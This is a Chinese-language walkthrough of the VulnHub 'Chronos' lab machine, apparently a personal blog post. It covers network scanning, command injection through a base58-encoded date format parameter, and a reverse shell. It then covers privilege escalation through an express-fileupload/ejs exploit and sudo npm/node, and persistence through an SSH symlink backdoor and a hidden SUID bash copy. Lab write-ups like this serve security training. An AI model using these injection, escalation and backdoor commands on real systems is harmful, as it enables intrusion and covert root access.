靶机下载地址:https://www.vulnhub.com/entry/chronos-1,735/
教程链接地址: https://www.cnblogs.com/sainet/p/15801144.html

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 CHRONOS:桥接于 192.168.31.1 的网卡,ip 未知

1)arp 确定靶机地址
sudo arp-scan -l

Image

-> 目标机器的 ip 地址: 192.168.31.238

  1. 确认靶机 ip 开放的端口信息
    sudo nmap -A -p- 192.168.31.238 -oN /tmp/chronos.txt
Image

-> 靶机开放端口 21, 80, 8080

# js 代码美化

打开 http://192.168.31.238/ 收集信息

审查源代码,发现一串敏感代码

Image

https://gchq.github.io/CyberChef/ 上进行 js 代码美化

复制代码,并且写到 kali 上,开启简易 web,在网站上浏览详细内容

Image

看到了一个可疑的 url 地址:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

-> 可疑密文:4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

# base58 解密

修改本地 hosts,访问此网站

Image

将可疑密文在 https://gchq.github.io/CyberChef/ 上进行解密,发现是 base58 加密
'+Today is %A, %B %d, %Y %H:%M:%S.'
即意味着服务上执行了 date ‘+Today is % A, % B % d, % Y % H:% M:% S.’
想办法构造 payload 拼接此代码并进行加密

date ‘+Today is %A, %B %d, %Y %H:%M:%S.’|ls
并且在 cyberchef 上进行 base58 加密

Image

得到密文:6o4pVfNt5u68hvKNrAyNuyr7at25Ddm18CEZm8JmX2GYysMb7Wdg

访问 url 地址:http://chronos.local:8000/date?format=6o4pVfNt5u68hvKNrAyNuyr7at25Ddm18CEZm8JmX2GYysMb7Wdg

访问网址后并没有很明显的效果返回,利用 burp 做中间代理,拦截浏览器的数据,查看返回数据包,返回的是权限不足

修改 UA 头,将其改为网站 header 指向的 Chronos 重发数据包,返回数据成功

# 拼接 linux 命令反弹

在 CyberChef 上获取到反弹 shell 的 base58 加密的字符
U6YeY5FABfZU5dWU4iyrYh9ftggJULF7AzvEmsEnqUSdUnWKwDwYAdF6xprK9ZaUTnNV4HebvA5KUFR4p8U1GPYuZzx927U1oUJ4sCBU3eETEhVAMyAEe55PUwNR

拼接到 url 地址中,并且监听本地的 4445 端口,等待 shell
等同于访问 http://chronos.local:8000/date?format=U6YeY5FABfZU5dWU4iyrYh9ftggJULF7AzvEmsEnqUSdUnWKwDwYAdF6xprK9ZaUTnNV4HebvA5KUFR4p8U1GPYuZzx927U1oUJ4sCBU3eETEhVAMyAEe55PuwNR
并修改 UA 为 Chronos

1
2
3
4
# 接收到shell之后,使用python3 改为一个标准的终端
python3 -c "import pty;pty.spawn('/bin/bash')"
stty raw -echo;fg
export TERM=xterm
Image

# 服务器信息收集

1
2
3
4
5
6
7
8
9
# 收集服务器的相关信息
sudo - l
cat /etc/issue
uname -a
make
ls -Alh `which pkexec`
find / -perm -u=s -type f 2>/dev/null
id
ls /opt && ls /var && ls /home

发现服务器上无权限设置的错误,也不能利用 pkexec
进行提权,id 组也没有设置错误,没有 suid 的错误权限可利用文件

Image

# express-fileupload 提权

继续翻阅文件,查找的一个 chronos-v2 的文件夹,找到 server.js 中有 express-fileupload 的调用

Image

直接用谷歌搜索是否存在此组件的漏洞,果然找到了一个 exp

Image

在 github 上找到了 ejs 利用的代码,复制此 payload

将 payload 中的参数进行修改,反弹主机 ip 和端口,以及 ejs 的端口号
Image

开启简易 web 服务,将此文件下载到目标靶机上

Image

目标靶机通过运行 ejs.py 文件,shell 成功被反弹

1
2
3
4
# 使用python,stty得到一个标准的shell
python3 -c "import pty;pty.spawn('/bin/bash')"
stty raw -echo;fg
export TERM=xterm

# sudo (npm/node) 提权

查看相关权限的设置,发现 npm,node 都可以提权
在 https://gtfobins.github.io/ 上找到提权命令进行提权

1
2
3
4
5
# npm 提权
sudo npm exec /bin/bash

# node 提权
sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
Image

-> 获取到了 root 权限

# SSH PAM 软链接维权

1
2
3
4
5
6
### 靶机上执行:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

# 检查端口号看是否命令是否执行成功:
ps aux | grep 12345
netstat -tanlp | grep 12345
Image
1
2
3
4
### 攻击机执行:
ssh root@192.168.31.238 -p 12345

# 接着输入任意密码就可以root用户权限登陆了

实际测试中发现,如果 root 用户被禁止登陆时此方式不能直接登陆,但是可以利用其他存在的用户身份登陆,如:
ssh imera@192.168.31.238 -p 12345 接着输入任意密码就可以 imera 用户权限登陆了

1
2
3
4
5
# 在ssh的配置文件中开启root登陆,是否可以解决无法用root登陆的问题
cat /etc/ssh/sshd_config | grep PermitRootLogin
vim /etc/ssh/sshd_config
service ssh restart
ssh root@192.168.31.238 -p 12345
Image

-> 并不能直接登陆到 root 账户,需要其他的设置进入 root 账户

# SUID 权限维持

1
2
3
4
# 制作隐藏的SUID文件
cp /bin/bash /var/.hack
chmod 4755 /var/.hack
ls -Alh /var/.hack
Image
1
2
3
# 连接靶机并用SUID文件提权至root
ssh imera@192.168.31.238 -p 12345
/var/.hack -p & whoami

-> 维持到了 root,现用 imera 登陆,再用 /var/.hack 提权

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝